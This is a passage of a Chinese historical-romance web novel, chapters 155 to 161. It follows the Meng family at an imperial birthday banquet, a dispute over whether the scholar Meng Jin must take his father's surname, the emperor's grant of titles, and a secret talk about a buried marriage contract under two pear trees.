知错不改,蛮横无状,不思解决之道,反而一走了之,此乃其罪之七……”
见五公主的背影消失在殿门外,再也看不到踪影,孟瑾才逐渐收了声,从容地对着庆明帝又是一礼。
“陛下见笑,此后五公主殿下,应是不会再对微臣犯糊涂了。”
庆明帝扶额,哭笑不得,“状元郎这招釜底抽薪,用得不错。”
以五公主跑走的状态看,别说是想要嫁给孟瑾,以后怕是再也不想见到孟瑾了。
“陛下谬赞,微臣惶恐。”孟瑾谦逊地对庆明帝拱了拱手,坐回了座位。
孟蕊敬佩地侧头看向孟瑾,她的大哥,也太厉害了!
不过几句话的功夫,就扭转了言论,为自己恢复了清白,还让五公主主动放弃纠缠。
此时大殿内望向孟瑾的各色目光,与之前有了些许差异。
之前对孟瑾暗含情意的千金贵女们,亲眼目睹了孟瑾对五公主毫不留情的批判,眼中的情意都黯淡了不少。
之前对孟瑾诋毁不屑的高门世家子们,再看孟瑾时,眼中多了惊叹和佩服。
而本就看好孟瑾的高官重臣们,听完孟瑾犀利尖锐、字字珠玑的一番言辞,又看到庆明帝对其容忍和夸赞,更是认为孟瑾之后的前途,不可限量。
其中,礼部尚书贺维钦最为激动欣喜,他站起来,上前对着庆明帝一礼。
“陛下,状元郎所言极是,国之礼法,多重视都不为过,皇子和公主们,必须以身作则,方能为万民表率。
臣请奏,由礼部牵头,内务府辅助,为皇子和公主们,加强礼法学习,杜绝如今日这般失礼场面再出现,请陛下准许!”
其他几部的尚书大人,纷纷侧头看向贺维钦,这老小子,真会给自己来事。
庆明帝扶额想了想,点头道:
“贺爱卿所言有理,礼部拟个章程给朕过目,若没有问题,便往下推行。”
“臣领旨!”贺维钦领旨行礼。
现在,轮到无端被牵扯进来的几位皇子烦忧了。
礼部尚书贺维钦念叨人的功夫,朝中无人不知,他派人来教授礼法,不但无聊至极,还耽误皇子们的正经事。
二皇子和三皇子不约而同地瞪向四皇子,以眼神痛斥:看你带的好妹妹,把我们全都连累了!
战战兢兢跪在地上的四皇子,更是觉得自己的天,塌了一遍又一遍,只顾跪着,无力再应付其他皇子的眼神利箭。
贺维钦的请旨被允许,正春风得意,觉得孟瑾不但文采不俗,更是品德高尚,此等不可多得的人才,一定要保护好。
若日后因随母姓,使得孟瑾在官场上被人耻笑排挤,影响了官声前途,就太不值当了。
“臣还有一事请奏!”
贺维钦再次出列,对着庆明帝行礼。
隔壁其他几位尚书大人,再次纷纷看向他,眼神警惕。
庆明帝有些无奈,“贺爱卿还有何事?”
总不至于让他这个皇帝,也去重学礼法吧?
贺维钦正色道:
“陛下,君臣父子,自古如此,儿随父姓,乃大齐礼法之要求,状元郎天纵奇才,国之栋梁,理应遵礼法,改随父姓。
若有无知妇人,执意阻拦,该以礼法教之,不可放任不管。”
他一边说,还指向明确地望了孟天一眼。
孟天皱着眉,恶狠狠地瞪回去。
这个难缠的老古板贺维钦,竟想让她也去学劳什子礼法,做梦!
贺维钦被孟天眼中的凶狠震慑,感觉背脊发凉,连忙转回视线,对着庆明帝请求:
“请陛下下旨,令状元郎改回谢姓!”
第156章 赐封县主
庆明帝看着认死理的贺维钦,眸色深沉,眉头再度皱起,许久没有出声。
看到庆明帝的反应,贺维钦知道陛下在思考,很有经验地站在原地等待。
听到贺维钦的话,孟天手握成拳,沉沉呼出一口气。
谢清源赶紧握住孟天的手,“娘子冷静,贺大人是文官,不经打的。”
“在你看来,我就是个只会揍人的莽夫吗?”孟天没好气地瞪他。
谢清源立即否认,“当然不是,娘子你智勇双全,巾帼不让须眉,是我最佩服、最爱重、最在乎之人。”
谢清源顿了顿,凑到孟天耳边小声提醒。
“贺维钦真不能打,至少不能明目张胆地打,他在礼部多年,处事公正严明,数度担任科考的主考官,在大齐读书人心目中地位很高,谁若打了他,少不得被那群书生口诛笔伐!”
“放心,我只是烦他,不会动手。”
孟天对自己的实力有清晰认知,这位满腹经纶的贺大人,挨不过她五成功力的一拳。
“可是,这家伙一堆大道理啰嗦没完,我们两个加起来,都吵不过他。”孟天烦躁地说。
谢清源表示赞同,“他不但能吵,还一根筋,咱们若与他吵,不但吵不过,他还会更上劲儿,咱们先静观其变为好。”
孟天虽然不悦,但沉默地认同了谢清源的话。
孟蕊也看着大殿中央的贺大人发愁。
客观来看,贺大人是个好官,他想要大哥改姓,是要维护他所坚持的礼法。
但娘亲和大哥都明确表示过不愿意,贺大人竟越过他们,求陛下做主,这就做得有些过头了。
以娘亲勇猛的性格,以后找机会把贺大人套了麻袋打一顿,不是不可能,万一被查出来,孟贺两家的梁子就结大了。
正当孟蕊担忧将来可能发生的烦心事时,她身边的孟瑾,再次从座位上站了起来。
“贺大人此言差矣!”
孟瑾对贺维钦铿锵有力道。
“学生认为,随母姓,并不违背礼法,贺大人无权要求学生更改姓氏。”
贺维钦略带惊讶的目光看向孟瑾,期待地问:
“哦?状元郎,觉得本官说得不对?可是儿随父姓,自古如此,礼法使然,你倒是说说,本官哪里说得不对?”
谢清源小声对孟天耳语:“糟了,这老家伙兴奋了,他最喜欢抬杠,阿瑾硬碰上去,说不过怎么办?”
“说不过就说不过,”孟天冷哼一声,“阿瑾起码敢站出来和他硬刚,比你有出息!”
谢清源委屈巴巴不再说话,但往孟天身边又靠了靠。
孟瑾绕开桌席,走到大殿中央,对着贺维钦礼貌作揖。
“贺大人,既然您执意问询,那学生只能斗胆反驳,儿随父姓,并不是自古如此。”
孟瑾身姿如松,挺拔而峻峭,锋芒内敛却气势逼人,对着贺维钦不疾不徐道:
“古书《山地考》中记载,西南山区,有一古老部族,延续上千年,以女子为尊,行走婚之俗,其族人只知其母,不知其父,且皆随母姓。
而我大齐,开国至今,不到百年,有入赘之习俗,也从未规定子女必须随父姓。
因此,学生之姓氏,合乎礼法习俗,不必更改。”
贺维钦看向孟瑾的眼神,染上欣赏,但依然不松口,“有此习俗,也只是极少数人的选择,状元郎,汝乃大家子,当知姓氏的重要。”
“学生明白,但恩义承诺在前,学生不得违背。”孟瑾郑重地说。
贺维钦好奇地问:“有何恩义承诺?”
孟瑾唇边漾起淡笑,“敢问贺大人,若有一天,您在山野落难,性命垂危,有人从天而降,将您拯救出危难,您是否应该报答?”
贺维钦没有多想,直接回答:
“君子立世,当善恶分明,对待救命恩人,应该报答,但应当在礼法和律法允许的范围内,不得为了报恩,做出伤天害理之事。”
“贺大人考虑全面,学生佩服。”
孟瑾微笑着夸赞,侃侃而谈。
“再问贺大人,两情相悦的一对男女,男子家中已有数位兄长顶立门户,他为报恩,入赘女子家中,所生子女,皆随女子姓氏,此举可有不妥?”
“这……”
贺维钦很难说出有不妥之处,他也琢磨出味儿来,孟瑾说的男女,不就是他的父母谢清源和孟天吗?
这两人那点子事,当年在京城很是被议论过一阵儿,贺维钦想不知道都难。
恩义与礼法相悖时,是两难的选择。
而贺维钦所坚持的儿随父姓的礼法,在孟瑾那番说辞后,此时也显得不是那么站得住脚。
贺维钦明白,孟瑾给他留了脸面,希望他顺水推舟,不再纠结让孟瑾改姓。
“罢了,既然你意已决,本官也不做恶人了,你想姓什么,就姓什么去。”
贺维钦白忙活一场,憋闷地一甩袖子,直接回了自己的座位。
“哈哈哈……”
庆明帝爽朗的笑声忽然响起,他隔空指着贺维钦笑道。
“贺爱卿,这朝堂之上,也有你说不过的人了。”
贺维钦此时也看清了庆明帝的态度,行礼道:
“陛下钦点的状元郎,自是人中龙凤,微臣甘拜下风。”
孟瑾是庆明帝钦点的状元,而贺维钦则是二十多年前先帝钦点的状元,新状元胜过老状元,这招马屁拍得恰到好处。
庆明帝朕心甚悦,对身边的大太监高公公招了招手。
“宣旨吧。”
高公公拿出早已准备好圣旨,展开后高声念道:
“光禄大夫谢清源一家听旨!”
孟蕊跟随爹爹和娘亲起身,走到孟瑾身边,一家四口跪在大殿上接旨。
“奉天承运,皇帝诏曰。
光禄大夫谢清源之妻孟天,忠诚勇毅,智勇双全,曾于危难之际,奋不顾身,救驾有功,今特赐封其为二品诰命夫人,其女孟蕊,品行端庄,才德兼备,赐封其为瑞嘉县主,以示褒奖。
钦此!”
“谢陛下隆恩,吾皇万岁万岁万万岁!”
孟蕊和家人一起领旨谢恩,看到娘亲手中捧着黄澄澄的圣旨时,脑子还有些发懵。
她怎么莫名其妙,就被封为县主了?
第157章 护驾之功
瑞嘉县主孟蕊,跟着她二品光禄大夫的爹、二品诰命夫人的娘,还有状元大哥,在众人艳羡的目光中,一起回到座位坐定。
曹太后探究的目光扫过他们,皮笑肉不笑地问庆明帝:
“哀家倒是不知,孟天还救过皇帝,是什么时候的事?”
庆明帝颇有深意地对上曹太后,笑道:
“是五皇兄还在的时候,那年皇陵附近来了一帮流寇,碰巧谢爱卿带着夫人来看望,孟夫人以一当十,将流寇尽数驱散,护得朕周全,此等功绩,朕难道不该褒奖吗?”
“确实应该褒奖。”
曹太后脸上僵了僵,很快恢复如常。
“皇帝得天庇佑,总是能化险为夷,安然无恙。”
庆明帝微微笑着,对曹太后举起酒杯,“朕也祝愿母后福寿齐天,万寿无疆。”
礼部尚书贺维钦,此时已从孟瑾拒绝改姓的失落中走出来,他一听皇帝的意思,连忙站起来,举起酒杯,号召所有人:
“诸位,让我等一起祝愿太后娘娘福寿齐天,万寿无疆!”
殿内所有人皆起身举杯,整齐划一地向太后祝寿:
“臣等祝愿太后娘娘福寿齐天,万寿无疆!太后娘娘千岁千岁千千岁!”
寿宴的欢喜氛围逐渐回归,丝竹声再度响起,舞姬们鱼贯而入,在大殿中跳舞暖场。
因为出了五公主献礼的不愉快,后面的献礼环节全部取消。
曹太后又坐了一会儿,以年老体乏为由,让淑妃和二皇子扶着她回慈宁宫休息。
庆明帝则在看完一曲舞蹈后,应付了几波重臣的敬酒,以醉酒为由,让吴贵妃和三皇子扶着离场。
地位最高的几位离开后,紫宸殿内的氛围轻松了许多,也更热络了。
长袖善舞的朝臣们,相互走动着敬酒交谈,相熟的女眷们聚在一起,谈笑风生。
其中不少人的话题,都围着今日寿宴上大出风头的孟瑾。
“看到了吗?今日陛下为了状元郎训斥了五公主,对孟瑾的态度,那是比对五公主还好。”
“陛下惜才,孟公子又是陛下钦点的状元,被看重有什么不对?”
“咳,他还不是沾了他爹娘的光,谢大人夫妇对陛下有救命之恩,谢大人从陛下还是落魄皇子时,就一路坚定追随,只忠于陛下,他的儿子,陛下肯定重用。”
“说的也是,孟夫人护驾有功,被封诰命夫人不止,孟小姐也沾光,混了个县主当。”
“五公主一向深受陛下宠爱,我还以为她求的赐婚能成呢,没想到不但丢了脸,还害顺嫔被贬为陈美人,啧啧。”
“要我说,也是他们母子三人心太大,孟瑾就算姓孟,他也是谢大人的儿子,谢太傅的亲外孙,陛下怎么可能让谢家的势力为四皇子所用?”
“这么说,四皇子岂不是一点机会都没有了?”
“能有什么机会?你当二殿下和三殿下是吃素的?”
“别说了,这是你我能谈论的话题?”
……
被谈论的四皇子,扶着几欲昏倒的母妃陈美人,灰溜溜地离开了大殿。
与之形成鲜明对比的,是被众人围住恭贺的孟瑾和谢清源。
而孟蕊,早就跟着娘亲孟天,溜去了殿外透气。
晋国公带着庶长子齐辕和世子齐轩,也来向谢清源父子敬酒道贺。
齐轩敬完酒,目光在谢清源周围看过一圈,却没找到他想见之人。
他从人群中出来,开始在殿内四处寻找。
齐辕在他身后冷言冷语,“别找了,帮你问过,孟小姐不在这儿,似乎是和孟夫人一起去更衣了。”
女眷们更衣的房间,安排在殿外,齐轩听完,急急向外走去。
“世子爷不会真想给孟小姐入赘吧?”
齐辕紧赶着跟上齐轩,与齐轩并肩而行,阴阳怪气道。
“孟夫人可是当着太后娘娘和贵妃娘娘的面都说了,孟小姐今后要招赘入府,你又当不了赘婿,不如放过人家。”
两人走到廊下无人处,齐轩骤然扭头,瞪向齐辕。
“你这么说是什么意思?和你有什么相关?”
“没什么意思,”齐辕讥讽笑道,“只是提醒世子爷,这是在宫里,别闹出什么不好的动静来,听说那位孟夫人,不是个好惹的主儿。”
齐辕说完,转身就走。
齐轩上前拉住他,紧张地问:“父亲是不是和你说了什么?”
“你以为是什么?”
齐辕没有转身,只是扭头看他。
“说我是庶子,可以去入赘?”
齐辕那张与齐轩相似的俊脸上,露出鄙夷的嘲讽。
“别以为我和你一样,只要有利可图,就舍得下脸去勾引小娘子,我若要娶妻,必是与相爱之人,哼!”
他甩开齐轩抓住他袖子的手,大步离开。
齐轩愣愣站在原处,春风吹散了他脸颊的酒意,去找寻孟蕊诉衷肠的心,淡了下去。
……
此时的孟蕊,根本没有去更衣处。
她跟着孟天七拐八绕,到了一处偏僻宫殿。
“未央宫?”
孟蕊读着牌匾上的宫室名时,孟天已经推门走了进去。
“娘亲,我们这样不请自来,会不会不好啊?”
“放心,我打听过了,这里没有人住。”
孟天淡定拉着孟蕊进门,然后熟练地关门,并落上门闩。
孟蕊有种做贼的怪异感觉,还好这未央宫中确实不像有人住的样子。
不过,此地虽然荒凉无人,却洒扫整洁,是经常有人打扫的痕迹。
宫殿不大,与其他宫室没什么区别,唯一独特的,是院子角落的两棵梨树。
午后的春日暖阳中,两棵梨树并肩而立,枝条交织在一起,仿佛恋人交握的手指,枝丫间洁白如雪的花朵绽放,一阵风吹过,细白的花瓣簌簌落下,美得如诗如画。
“这里看起来,还和二十年前一样,一点都没变。”
孟天一边说,一边绕着宫苑打量了一圈。
“咱们在这儿待会儿,等到时间再回去,就可以直接出宫了。”
孟天最终停在两棵梨树中间,从头上拔出一支金钗,蹲下身,开始挖梨树脚下的泥土。
孟蕊看得心中一惊,“娘亲,您在做什么?”
“我之前有东西埋在这儿,现在要把它挖出来。”
孟天淡定回答,手上动作不停。
“您在宫里,在这树下埋了东西?”孟蕊震惊,“是什么?”
第158章 偏僻宫殿
孟蕊记得,按大齐宫规,皇宫内院不能随意动土,被发现是要受罚的。
而她威武不怕事的娘亲,就这样吭哧吭哧地挖起土来,丝毫没有心理负担。
经过这段时间的相处,孟蕊深刻了解了她娘的性子,劝是劝不住的,那她就只能……帮忙挖快点。
孟蕊犹豫一瞬后,果断拔下头上的发钗,蹲下身,帮着孟天一起挖土,早点挖到娘亲要找的东西,她们早点离开,多一事不如少一事。
可是,当她们挖了锅大的一个洞,接近半米深,都没有发现任何东西时,孟天疑惑地停下了动作。
“我记得,就埋在这里的呀。”
“娘亲,您是什么时候埋的?或许被人提前挖走了?”孟蕊说出猜想。
孟天抬头,遗憾望天,“二十多年前埋的,这里地处偏僻,一向来的人很少,居然也会被挖走,算了,不管了。”
孟天拉着孟蕊站起来,手掌内力翻腾,将挖出的土全部推入坑中,然后用脚踩实。
刚做完这些,门外突然传来脚步声,一个尖细熟悉的声音关切地问:
“陛下,您饮多了酒,还是让奴才陪着您吧?”
是庆明帝身边的高公公!
接着,是庆明帝的声音。
“不用,朕自己进去待一会。”
门上传来推门声,庆明帝语气不悦。
“门怎么锁了?快把门给朕打开。”
孟蕊惊得一颗心仿佛提到了嗓子眼,她们这是要被皇帝抓包了?
孟天眼底闪过一抹疑惑,镇定自若地对孟蕊做了个噤声的手势,然后搂住女儿,运用轻功飞起,瞬间就进了离她们最近的宫室躲避。
她们快速在房内检查了一圈,孟天暗自嘀咕,“倒是和以前没什么区别。”
孟蕊确定房内无人后,勉强松了一口气,然后就看到她娘走到窗边,将窗户推开一条缝,观察起外面的情况。
孟蕊也走了过去,很快看到外头的宫门被御前侍卫打开,一身暗色常服的庆明帝,独自走了进来。
庆明帝进来后,将门合上,没有再往里走,而是站在刚才孟天和孟蕊挖土的两棵梨树旁,抬头望着满树梨花发呆。
这两棵梨树,有什么说法吗?
孟蕊脑中快速思考,朝中皆知,庆明帝的母妃出身不高,他登基前,一直是不受重视的皇子。
难道陛下以前,就住在这偏僻的未央宫?
如此说来,也许二十多年前,娘亲与爹爹一起进宫,看望还是皇子的庆明帝,娘亲把什么东西埋藏在了梨树脚下。
而庆明帝,今日许是吃了酒,一时兴起,回到自己曾经居住的宫殿,怀念曾经年少岁月,抑或是,缅怀什么人?
此时,孟蕊屏气凝神地注视着梨树旁的庆明帝,希望庆明帝看完梨树后,赶紧带着门外的那群宫人侍卫们离开,千万别发现她们。
“吱哑——”
孟蕊听到房门被打开的声音。
她心头一跳,往身边看去,她的娘亲不知何时,已不在原地!
外面传来庆明帝平静的声音。
“原来是你来了。”
孟蕊猛地回头,看到她娘孟天已经走到了院中,对庆明帝开门见山地问:
“我们埋在梨树脚下的东西呢?”
孟蕊感到头皮发麻,那是皇帝啊,她的娘亲直来直去地说话,真的没问题吗?
庆明帝似浑不在意,低头看向梨树脚下被翻过的泥土。
“二十多年了,早不知去哪里了。”
孟天怀疑地盯着他,“你没动过?”
一阵清风吹来,点点梨花飘落,庆明帝眉目舒展,愉悦的目光望向空中如雪花瓣,伸出手,几片雪白落入掌心。
“这两棵梨树你还记得吗?是馨儿有孕三月时,你和清源带来的种子,我们一起种下的,本以为不会发芽,没想到二十多年过去,已亭亭如盖矣。”
庆明帝望着掌心的梨花花瓣,眼神怀念。
“我不喜梨花,觉得寓意不好,但馨儿喜欢,她说梨花何辜?只因为世人给它取了‘梨’这个名字,就要承担分离的罪责,不该如此。”
孟天双手抱臂,望着相互参差交织的两树梨花,歪了歪头,肯定地说:
“我带来的梨树种子,是经过培育的,肯定会发芽,要是指望谢清源那个五谷不分的,绝对长不出梨树。”
“哈哈哈……”庆明帝爽朗地大笑。
“陛下,您有吩咐吗?”
高公公担忧又纠结的声,从门外传来。
庆明帝停下笑声,“朕约了人,要单独谈话,你们在外面守着。”
“遵旨。”高公公应答后,命令侍卫后退两步,守在门外待命。
孟蕊观察到庆明帝和孟天之间这种类似故人叙旧的氛围,悬着的心终于落地,她娘亲已经把话说开,她再躲着,反而不好。
纠结之后,孟蕊选择走了出去,来到孟天身边,对庆明帝屈膝行礼。
“臣女见过陛下。”
“哦,蕊儿也在这里。”
庆明帝和颜悦色地望着孟蕊。
“快平身吧,无外人在场,不必多礼。”
“谢陛下。”孟蕊起身,乖乖站在孟天身边,不再多言。
庆明帝心情颇好地问孟蕊:
“你知道你娘来这里找什么吗?”
孟蕊当然不知道,如实摇头,“臣女不知。”
“说起来,这东西,与你也有些关系。”
庆明帝指了指梨树脚下,刚才被孟天母女挖过坑的地方,温声解释。
“当年,朕还是皇子,与皇后在宫中过得不大好,馨儿查出有孕,你爹娘来看望她。
馨儿有孕后时常忧思过度,担心孩子生出来被人欺负,若是男儿还好,最怕是柔弱的闺女,在深宫中活不下去。
朕和你爹安慰的话说尽,依然无法让馨儿释怀,她长期情志不畅,对自己身体有碍,对肚子里的孩子也不好。
还是你娘想出了好办法,承诺说,若馨儿生下的是女儿,便与你娘日后生下的儿子结为夫妇,有你娘这个得力靠谱的婆母在,定不会叫我们的女儿受苦。
为了让馨儿安心,她们还签了婚书,交换了信物。
因皇家不能私定婚约,那张婚书便由我们四人一起,放入木匣,埋在了这里。”
第159章 消失的婚书
听完庆明帝的话,孟蕊惊讶得瞪大了眼。
她以为是娘亲私藏了什么重要之物在这里,没想到竟是陛下和父亲都知情的婚书。
不过,当年宸元皇后诞下的是皇子,娘亲生的大哥也是男子,那婚书自然是无效了。
“陛下,你和我女儿说这些做什么?”
孟天警惕地盯着庆明帝,不满地问。
“那封婚书,是不是被你提前挖走了?”
孟天已经派人查过,这座偏僻的未央宫,自当年七皇子夫妇离宫去往皇陵后,一直无人居住。
十六年前京城大乱后,七皇子登基称帝,即庆明帝,将曾经住过的未央宫,当做怀念宸元皇后之所,派人经常打扫,自己偶尔回来看看。
庆明帝没有严令禁止进入未央宫,但宫中人人都知道庆明帝对宸元皇后的爱重,除了日常来洒扫的宫人外,几乎没有人会来这里,以免犯了庆明帝的忌讳。
孟天认为,自己当年将那放了婚书的木匣埋得很深,不可能轻易被人发现,只有可能是本就知道此事的庆明帝挖出拿走了。
然而,此时的庆明帝本人,淡定地摇头否认。
“朕没有,不是朕,这么多年了,或许被攻入皇城的乱军抢走,也不一定。”
“乱军抢钱抢粮,他们抢婚书作甚?”
孟天根本不信,她环顾四周,指着完好无损的宫殿屋檐。
“我来时就检查过了,这座未央宫与二十年前毫无二致,没有修缮的痕迹,两棵梨树完好无损,而且这里在宫中的位置偏僻,很可能当年叛军根本就没有来过这里。”
庆明帝的目光随着孟天手指的方向看去,“嗯”了一声,“那也可能是不懂事的宫人,碰巧发现后拿走的。”
孟天收回手,无奈地看着庆明帝,咬了咬牙,忍住了逼问帝王的冲动。
庆明帝自己不觉得,但孟天一看便知,庆明帝虽已身为万万人之上、能生杀予夺的帝王,可是撒谎时的习惯,还和谢清源一个样。
要不庆明帝和谢清源,能从年少一直交好到现在呢。
“算了,没了就没了吧。”
孟天不再强求,对庆明帝拱了拱手。
“陛下,在大事未定之前,我的儿子女儿,都不着急婚配,还请您管束好您的后宫,算我求您了。”
“今日之事,是朕失察,你放心,以后不会再发生让孩子们为难之事。”
庆明帝拍着胸脯保证,笑得亲切,一副很好说话的样子。
孟蕊都看愣了,皇帝陛下在宴会上雷厉风行,私底下这么和蔼可亲的吗?
庆明帝笑眯眯地看着孟蕊,“蕊儿年纪还小,不着急婚配,以后有看中的郎君,只管来找朕,朕给你们赐婚。”
“多谢陛下关心。”孟蕊规矩行礼。
庆明帝又笑着对孟天说:“蕊儿是个有主意的孩子,以后遇到心悦的郎君,也不必一定要勉强人家入赘吧?”
孟天眉头蹙起,正想着要如何反驳,听到庆明帝继续说:
“你家二郎也姓孟,可以担起孟家门楣,朕准备下旨,调他来京城,就在兵部任职,你们一家也能团聚,孟夫人以为如何?”
孟天想要反驳的话堵在喉中,她与二儿子孟瑜,确实好久未见了,庆明帝的这个提议,很让她心动。
当年从京城逃离时,孟瑜三岁多,对父亲谢清源和他们一路的艰辛已有记忆。
小时候生活在京城的孟瑜,是个开朗爱笑的孩子。
跟随母亲从京城逃离后,不知是否因为目睹母亲一路杀戮奔逃,受了刺激,孟瑜性情大变,之后一直沉默内敛,不喜说话。
在离开京城的前两年,孟天忙着照顾还是婴儿的姜瑶,对年纪相对较大的儿子孟瑜,难免有所忽视。
有了妹妹后,孟瑜仿佛一夜长大,他很乖,也很听话,不吵不闹,还会帮母亲一起照看姜瑶。
孟天很欣慰儿子的懂事,不自觉将更多精力,放在照顾年幼体弱、又爱哭闹的姜瑶身上。
当孟天发现儿子与自己不亲时,孟瑜已经七八岁了。
小小的少年,已是在孟天的教导下,练就了一身武艺,在同龄甚至更大的孩子中,战无敌手。
农庄周边被孟瑜打了的孩子的父母们,联合找上门来,要孟天给个说法。
孟天让孟瑜赔礼道歉,孟瑜倔强得不肯认错。
孟天只能自己替他赔罪,又给各家赔钱了事。
后来,孟瑜为了救姜瑶,亲手射杀了自己最喜欢的两条雪狼,伤心消沉了许久。
孟天的叔父孟逐风提出,要带着孟瑜习武,出门历练,才让孟瑜的双眼重新亮起。
孟瑜一走就是五年,回来时,已是能与孟天百招之内不分输赢的高手。
按孟逐风的意思,霸天帮本是要让孟瑜继承,但孟逐风突然去世,孟瑜当时年纪还小,镇不住帮众,才先将帮主之位传给了孟天。
孟逐风去世后,霸天帮混乱过好一阵,孟天忙着整肃帮内各派势力,也不想让儿女参与江湖上的血雨腥风。
她让人送孟瑜回江州的宅子安顿,和姜瑶住在一起,兄妹俩也能有个照应。
大半年后,当孟天赶回江州才知道,孟瑜已经从家中离开,不知去向,姜瑶一问三不知,孟天花费了好大力气,查了许久才知道,孟瑜去南边参了军。
孟天对儿子孟瑜,总觉得亏欠。
特别是这次来了京城,知道了姜瑶心机深沉的真面目后,孟天再反复推敲孟瑜和姜瑶的那几次看似不大的小矛盾,顿觉细思极恐。
她依然不太敢相信,那样小的女孩子,就能有那么重的心机?
……
孟天和谢清源,都想让孟瑜来京城团聚,他们分别给孟瑜写了信,孟瑜的回信都是:
忙于练兵,不来京城。
但若是有兵部的调令,庆明帝亲下的圣旨,让孟瑜回京任职,那孟瑜应该会回来。
在孟天看来,她和谢清源的账没算完,但不能让孟瑜因此受委屈。
她也从没想过,要让父子俩形同陌路。
孟瑜既然选了从军这条路,他父亲能给的资源好处,不占白不占,先把孟瑜调回京城再说。
第160章 冷情冷性?
“陛下英明!我觉得,您这个决定非常好。”
孟天态度大变,笑着恭维起庆明帝来。
“不过,我那个儿子犟得很,谢清源写信让他回京,他不愿意,劳烦陛下您费费心,编个合适的理由调他回来。”
庆明帝笑着应下,“朕会亲自过问此事,你放心。”
“多谢陛下。”孟天抱拳,对着庆明帝作揖,态度比之前诚恳许多。
庆明帝和蔼地看向孟蕊。
“你二哥要回京了,你欢喜吗?”
“臣女自然欢喜。”孟蕊礼貌应答,“多谢陛下费心。”
“不必客气,朕与你父亲是多年至交,私下相处可随意些。”
庆明帝平易近人的样子,让孟蕊有一瞬间觉得,眼前这位不像是帝王,而只是一位与父辈交情深厚的长辈。
但她心中很清楚,帝王之尊,可以纡尊降贵,她不能恃宠而骄。
“今日寿宴上,朕看到孟瑾对你很是照顾,你们感情很好吧?”庆明帝随和地问。
孟蕊如实答道:“回陛下,兄长对臣女很照顾,臣女很敬佩兄长,我们相处得很好。”
“这个孟瑾,性子冷得很,朕还是第一次看到,他如此照顾一个女子。”
庆明帝微微侧身,再次望向那两棵繁华茂盛的梨树,颇为感触地说。
“是好事啊,他还那么年轻,不该冷情冷性。”
冷情冷性?孟蕊神色一凛,她大哥孟瑾是状元,以后是要做官的,皇帝给出这样的评价,可不算好事。
孟蕊忍不住为孟瑾说话:
“回陛下,兄长他不是冷情冷性之人,臣女能顺利找回家,多亏了兄长出手相助,热心照顾,他还帮臣女摆脱了心怀不轨之人的纠缠,相信他以后,也会是一名为国尽忠、为民请命的好官。”
庆明帝眼神含笑,“你对他的评价很高啊,看来,孟瑾确实对你很好。”
“臣女所言,皆是出自真心。”孟蕊正色道。
“嗯,朕知道孟瑾的能力,不过他有时说话做事,过于冰冷,不近人情。”
庆明帝说着孟瑾的缺点,面上却带着慈爱的笑意。
“蕊儿,你平日里有空,多陪陪他,与他多说说话,多开导他,让他改改说话的态度和方式,特别是对朕,别总冷冰冰的,可好啊?”
孟蕊诧异地眨了眨眼,大哥对陛下说话态度不好?冷冰冰的?
他们一家除了她,都这么刚的吗?
“兄长对陛下您,绝无不敬之意,臣女回去便会提醒兄长,请陛下不要介意。”孟蕊恭敬道。
“很好!”庆明帝满意地点头,“不过不急,你多陪陪他,慢慢和他说,也别说是朕让你去说的,明白吗?”
“请陛下放心,臣女明白。”
孟蕊知道,皇帝也是要面子的,不好让孟瑾知道皇帝还在意他的态度。
孟天见庆明帝得寸进尺,还想继续交代孟蕊办事,不耐烦地插话。
“天色不早了,我们也该回去了。”
孟天对庆明帝说。
“陛下,宫里人多眼杂,劳烦您先带外边的人离开。”
她可不想被传出帝王与臣妻私会的谣言,干脆直接赶庆明帝先走。
庆明帝望了眼空中逐渐向西的日头,“确实不早了,你们也该出宫回府,朕先走了。”
他转身正要离开,又不放心地对孟蕊重复交代:
“一定记得,要慢慢和他说,啊?”
“是,陛下,臣女一定记得。”
孟蕊觉得有些奇怪,庆明帝对大哥,似乎太在意了些。
结合之前大哥对宸元皇后的那些评价,孟蕊怀疑,大哥难道是因为陛下的多情,对陛下不满,在态度和语气上表露了出来?
等庆明帝带着门外的宫人侍卫们离开后,孟天和孟蕊没有选择从大门出去。
孟天运起轻功,带着孟蕊飞檐走壁,在孟蕊还没回过神的功夫,她们就已经跨越了两座宫殿,落脚在了御花园的僻静处。
“娘亲,我们这样……不会被侍卫发现吗?”孟蕊担心地问。
在皇宫中飞来飞去,真的可以吗?
“没事,皇宫的地形我了如指掌,以前你娘我还飞去御膳房,偷烧鸡给他们吃呢,从没被发现过。”
孟天不以为意,拍了拍袖子上的泥土,环顾周围一圈,指着一条小路说。
“走这边,我记得过去是一片湖,咱们绕湖一圈回去,就说在湖边躲清静了。”
孟蕊觉得可行,她也记得那片湖,就位于御花园的深处,少有人来,当做借口正好。
母女俩还没走几步,忽然听到不远处,传来女子呼救的声音。
“来人啊!救命啊!我家小姐落水了!谁来救救我家小姐……”
孟蕊和孟天对视一眼,拉起裙摆,向着呼救声快跑去。
远远就看到湖水中,一个粉色纤弱的女子身影,在湖水中起起伏伏,双手不停地在水面拍打,头部已经有一半浸在水里,时起时沉,眼看就要坚持不住。
湖岸上,一个丫鬟打扮的女子,正在大声呼救。
旁边还围了几个小姐和她们的丫鬟,大多数人都呆呆地看着湖中即将沉入水里的女子。
其中,只有太常寺卿家的千金赵雅娴反应过来,着急地问丫鬟中,是否有人会水。
丫鬟们纷纷摇头,赵雅娴又立刻派她们去叫人。
去叫人的丫鬟们刚离开,一名青衣公子就跑了过来。
正在呼救的丫鬟看到他,眼睛一亮,“罗少爷,您来得正好,快救救我家小姐吧。”
青衣公子罗杰裕镇定对丫鬟道:“碧莲,你别着急,我会水,马上去救纪小姐。”
他脱下外衣,就要跳入湖水中救人,却被横冲出来的赵雅娴拦住。
“不行,男女授受不亲,你跳下湖去,与阿筠在水中……那什么,被这么多人看到,阿筠清白不保。”
赵雅娴目光扫过湖边几个木桩一般呆立的其他千金,纠结道。
“我已经让丫鬟去喊人了,马上就有人来救阿筠,你不许去!”
“赵小姐,人命关天!”
罗杰裕急切地怒吼。
“纪小姐就要坚持不住了,你此刻拦着我,难道是想害死她?”
“我没有!”赵雅娴蹙眉否认。
她犹豫不决地看看水中扑腾的纪华筠,又看看去喊人的丫鬟跑走的方向,怎么还没有人过来?
第161章 湖中救人
“来不及了,快让开!我要去救人!”
罗杰裕推开瞻前顾后的赵雅娴,就要往湖里冲。
突然,他感到头顶一阵疾风刮过,似乎有什么东西忽的飞向湖中。
“娘亲,您要小心啊!”
孟蕊跟在孟天后面跑过来,她的轻功还没有练成,无法像母亲那样快速飞过去,只能站在岸边,紧张地看着孟天救人。
